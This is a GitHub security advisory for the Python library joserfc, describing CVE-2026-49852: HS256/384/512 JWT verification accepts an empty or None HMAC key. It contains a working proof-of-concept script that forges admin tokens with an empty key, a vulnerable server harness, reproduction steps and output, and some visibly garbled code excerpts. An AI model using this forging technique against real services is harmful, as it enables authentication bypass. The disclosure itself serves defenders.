GitHub Advisoryadvisory · PyPI
GHSA-gg9x-qcx2-xmrh joserfc: HS256/HS384/HS512 verify accepts empty/nil HMAC key (cross-language sibling of CVE-2026-45363)
HIGH
Official page ↗
- Aliases
- CVE-2026-49852
- Ecosystem
- PyPI
- Packages
- joserfc
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
- Weaknesses
- CWE-1391, CWE-287, CWE-326
- Reviewed
- 2026-07-02
Affected packages
• PyPI joserfc: < 1.6.8 → fixed in 1.6.8
Description
Summary
`joserfc.jwt.decode` accepts attacker-forged HMAC-signed tokens when the
caller-supplied verification key is the empty string or `None`.
`HMACAlgorithm.sign` and `HMACAlgorithm.verify` in
`src/joserfc/_rfc7518/jws_algs.py:62-70` feed whatever
`OctKey.get_op_key(...)` produced into `hmac.new(...)`, and `OctKey.import_key`
only emits a `SecurityWarning` when the raw key is shorter than 14 bytes
without rejecting zero-length input. Any application whose JWT secret is
sourced from an unset environment variable, an unset Redis / DB row, a key
finder fallback that returns `""`, or a `Hash.new("")`-style default verifies
attacker tokens forged with `HMAC(key=b"", signing_input)` because the
attacker trivially reproduces the same digest with no secret knowledge.
This is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x /
CVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key,
filed 2026-05-13). ruby-jwt v3.2.0 added an `ensure_valid_key!` precondition
that rejects empty keys at both sign and verify entry; joserfc has no
equivalent. (The same primitive lives in the deprecated `authlib.jose`
module by the same maintainer; filing this advisory against joserfc
alongside a separate `authlib` advisory because the codebases are
independent shipping artifacts on PyPI.)
Affected versions
`joserfc` (PyPI) ` bytes:
op_key = key.get_op_key("sign")
return hmac.new(op_key, msg, self.hash_alg).digest()
def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:
op_key = key.get_op_key("verify")
v_sig = hmac.new(op_key, msg, self.hash_alg).digest()
return hmac.compare_digest(sig, v_sig)
```
`src/joserfc/_rfc7518/oct_key.py:52-63`:
```python
@classmethod
def import_key(cls, value, parameters=None, password=None) -> "OctKey":
key: OctKey = super(OctKey, cls).import_key(value, parameters, password)
if len(key.raw_value) = 112 bits", SecurityWarning)
return key
```
The `< 14` check only warns; `len(key.raw_value) == 0` falls through and is
returned to the caller. `HMACAlgorithm.verify` then calls
`hmac.compare_digest(sig, hmac.new(b"", signing_input, sha256).digest())`,
and Python's `hmac.new(b"", ...)` accepts the empty key.
Cross-language sibling of ruby-jwt's fix in `lib/jwt/jwa/hmac.rb`:
```ruby
def ensure_valid_key!(key)
raise_verify_error!('HMAC key expected to be a String') unless key.is_a?(String)
raise_verify_error!('HMAC key cannot be empty') if key.empty?
end
```
invoked from both `sign(signing_key:)` and `verify(verification_key:)`.
PyJWT landed an equivalent guard in 2.13.0 (`HMACAlgorithm.prepare_key`
raises `InvalidKeyError("HMAC key must not be empty.")` for `len(key_bytes) == 0`).
firebase/php-jwt rejects empty material in `Key.__construct`. jjwt enforces a
256-bit minimum in `DefaultMacAlgorithm.validateKey`. joserfc has the
strongest existing length-warning logic but stops at `< 14 bytes` warn
rather than `== 0` reject.
How an empty `JWT_SECRET` reaches `hmac.new`
1. The application calls `joserfc.jwt.decode(value, key, algorithms=["HS256"])`
where `key = OctKey.import_key("")` (or `OctKey.import_key(b"")`,
or any custom path that yields an `OctKey` whose `raw_value` is `b""`).
2. `decode` (`src/joserfc/jwt.py:86-117`) calls `_decode_jws(...)` →
`deserialize_compact(value, key, algorithms, registry)`.
3. `deserialize_compact` (`src/joserfc/jws.py`) dispatches to
`HMACAlgorithm.verify(signing_input, signature, key)`.
4. `verify` calls `key.get_op_key("verify")` → returns `b""`.
5. `hmac.new(b"", signing_input, sha256).digest()` is computed; the
attacker computed exactly that digest with the same empty key, so
`hmac.compare_digest` returns `True` and decode succeeds.
No upstream `nil`-check, no length check, no schema rejection. The path is
reached from the public `joserfc.jwt.decode` API.
Proof of concept
Attacker (no secret knowledge):
```python
import base64, hmac, hashlib, json, time
def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b"=")
header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
now = int(time.time())
payload = b64url(json.dumps({
"sub": "attacker", "admin": True,
"iat": now, "exp": now + 600,
}).encode())
signing_input = header + b"." + payload
sig = hmac.new(b"", signing_input, hashlib.sha256).digest()
forged = signing_input + b"." + b64url(sig)
print(forged.decode())
```
Server harness:
```python
server.py
from joserfc import jwt
from joserfc.jwk import OctKey
import os
from wsgiref.simple_server import make_server
def app(environ, start_response):
auth = environ.get("HTTP_AUTHORIZATION", "")
token = auth[len("Bearer "):].strip() if auth.startswith("Bearer ") else ""
key = OctKey.import_key(os.environ.get("JWT_SECRET", "")) # default = ""
try:
tok = jwt.decode(token, key, algorithms=["HS256"])
c = tok.claims
body = ("OK: sub=%r admin=%r\n" % (c.get("sub"), c.get("admin"))).encode()
start_response("200 OK", [("Content-Type", "text/plain")])
return [body]
except Exception as e:
start_response("401 Unauthorized", [("Content-Type", "text/plain")])
return [("DENY: %s\n" % e).encode()]
make_server("127.0.0.1", 8383, app).serve_forever()
```
End-to-end reproduction (against `pip install joserfc==1.6.7`)
```bash
1. Boot the WSGI server. JWT_SECRET unset to model the misconfigured-secret
state.
python3.12 -m venv venv
./venv/bin/pip install joserfc==1.6.7
./venv/bin/python server.py & # listens on :8383
2. Run the attacker
./venv/bin/python attacker.py
```
Captured run output (canonical pre-fix run, joserfc 1.6.7,
`poc-attacker-empty-20260523-150949.log`):
```
forged token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTc3OTUyMDU4OSwgImV4cCI6IDE3Nzk1MjExODl9.yE8nFmSVmQJ2Slft-BlxD04ypabkV128XbPcU6SRnBY
HTTP 200
OK: sub='attacker' admin=True
```
Control (real 256-bit secret, `poc-control…
Related
Alias · CVE (1)
- CVE-2026-49852 joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. vulnerability
References
- https://github.com/authlib/joserfc/security/advisories/GHSA-gg9x-qcx2-xmrh web
- https://github.com/authlib/joserfc/commit/86d00910b2b2d2d07503fee9b572906daefab7f1 web
- https://github.com/authlib/joserfc package
- https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L62-L70 web